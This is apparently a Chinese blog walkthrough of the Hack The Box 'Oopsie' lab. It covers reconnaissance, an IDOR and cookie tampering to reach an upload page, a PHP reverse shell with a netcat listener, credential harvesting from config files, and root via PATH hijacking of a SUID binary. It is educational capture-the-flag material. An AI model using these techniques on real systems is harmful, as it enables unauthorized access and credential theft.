STARTING POINT TIER 2 Oopsie

STARTING POINT TIER 2 Oopsie

这一关学到了很多啊😋虽然每关好像都是

首先nmap没有什么特别的东西

─$ sudo nmap -sS -sV -sC [ip-address]          
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)

大概存在一个web服务,然后22端口还有一个ssh服务,但是这个没有ssh key可以说是不可能成功登录的。那么就直接进入web端看看吧

进入后只是一个普普通通的页面,上gobuster爆破目录

└─$ gobuster dir --url http://10.129.67.44 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -z
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.67.44
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/05/26 16:17:32 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.129.67.44/images/]
/index.php            (Status: 200) [Size: 10932]

没有爆出什么有用的目录

这里学习了burp的一个船新功能

Burp的site map

监控端口刷新页面发一个包,抓到后Forward过去后点Target

在这里插入图片描述

Site map就能看到网站拓扑了,非常的神奇。

在这里插入图片描述

去登录界面看看吧。

发现居然有游客登录,非常的nice

uploads是我们感兴趣的,点进去看看。提示需要super admin权限。
在这里插入图片描述

进入accout查看该游客登录信息后观察url链接更改参数id发现有变化,当更改id为1时,越权至admin用户信息界面

http://[ip-address]/cdn-cgi/login/admin.php?content=accounts&id=1

通过admin用户信息界面得知其user id后用burp抓包更改为admin数据包成功进入uploads界面

反向shell

既然能上传那当然是要传一个webshell啦😋根据前端代码得知这是一个php站点,所以需要上传一个phpwebshell

Kali中有个专门放着各种shell的文件夹/usr/share/webshells,我们在当前目录下cp一份php反向shell

─$ cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php

编辑一下ip端口

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
<SNIP>
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
<SNIP>
?> 

先用netcat监听1234端口

nc -lvnp 1234

然后回uploads上传反向shell当然同样要抓包更改其为admin,然后在浏览器输入http://[ip-address]/uploads/php-reverse-shell.php,就能拿到了。

如果页面提示Not Found的话,可能是被服务器删掉了,需要重新上传一次。

shell加固

拿到shell以后,可以加固一下shell。但是我试了第三种不会😥而第二种通过socat拿到的shell虽然有上下箭头的历史命令还有tab补全,但是输入很慢,但毕竟是Fully Interactive TTYs还想要啥自行车

原文👉Upgrading Simple Shells to Fully Interactive TTYs

中文翻译👉如何将简单的Shell转换成为完全交互式的TTY

各种语言的版本👉Spawning a TTY Shell

只用了第一种最简单的方式,得到还是一个非常烂的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

pty文档

获取账号信息

/var/www/html/cdncgi/login下找到了一些感兴趣的东西

www-data@oopsie:/var/www/html/cdn-cgi/login$ ls
ls
admin.php  db.php  index.php  script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep -i passw*
cat * | grep -i passw*
if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!")
<input type="password" name="password" placeholder="Password" />

接下来我们用第二种拿到的Fully Interactive TTYs操作。上面拿到的admin:MEGACORP_4dm1n!!可以在cdn-cgi/login登录。

然后来看看admin.php

<?php
include("db.php");
if($_COOKIE["user"]==="34322" || $_COOKIE["user"]==="86575" || $_COOKIE["user=="2233")
{
?>

可以看到有include("db.php");,那就看看db.php

<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

又得到一组账密robert:M3g4C0rpUs3r!,拿去cdn-cgi/login试一下发现登录失败,说明这不是网站的账密。去看一下/etc/passwd,发现有一个Robert

cat /etc/passwd
robert:x:1000:1000:robert:/home/robert:/bin/bash

🆗

su robert
Password: M3g4C0rpUs3r!
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

然后在home目录下找到Robertflag

权限提升

通过id发现robert用户还属于一个叫bugtracker的组,搜索一下bugtracker

robert@oopsie:~$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker

robert@oopsie:~$ cd /usr/bin/bugtracker
bash: cd: /usr/bin/bugtracker: Not a directory

robert@oopsie:/usr/bin$ ls -l bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 bugtracker

robert@oopsie:/usr/bin$ file bugtracker
bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped

发现bugtracker是一个ELF,并且设置了SUID

Commonly noted as SUID (Set owner User ID), the special permission for the user access level has a single function: A file with SUID always executes as the user who owns the file, regardless of the user passing the command. If the file owner doesn’t have execute permissions, then use an uppercase S here.

In our case, the binary ‘bugtracker’ is owned by root & we can execute it as root since it has SUID set.

那就运行一下看看。

robert@oopsie:/usr/bin$ ./bugtracker

------------------
: EV Bug Tracker :
------------------
Provide Bug ID: bin
bin
---------------

cat: /root/reports/bin: No such file or directory

bugtracker让我们输入Provide Bug ID,我输入bin后提示cat: /root/reports/bin: No such file or directory说明bugtracker会调用cat程序。

shell遇到一个cmd时会按照PATH变量的顺序去寻找cmd并运行

PATH is an environment variable on Unix-like operating systems, DOS, OS/2, and Microsoft Windows, specifying a set of directories where executable programs are located.

我们先把/tmp加入PATH

export PATH=/tmp:$PATH

然后去/tmp目录下创建一个cat文件并写入/bin/sh,并赋予x权限。

robert@oopsie:/tmp$ echo "/bin/sh" > cat
robert@oopsie:/tmp$ chmod +x cat

查看PATH

robert@oopsie:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

因为/usr/bin已经在环境变量里了,所以我们可以在/tmp直接执行bugtracker

robert@oopsie:/tmp$ bugtracker

------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
1
---------------

#get root shell
whoami
root

SUIDroot权限执行bugtracker时先按照PATH顺序依次寻找cat,显然第一个找到并执行/tmp/cat。而所谓的/tmp/cat里是/bin/sh,会以root权限运行/bin/sh

所以会拿到一个root shell
需要注意的是这时需要将PATH里的/tmp取消掉,这样才能调用正常的cat

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值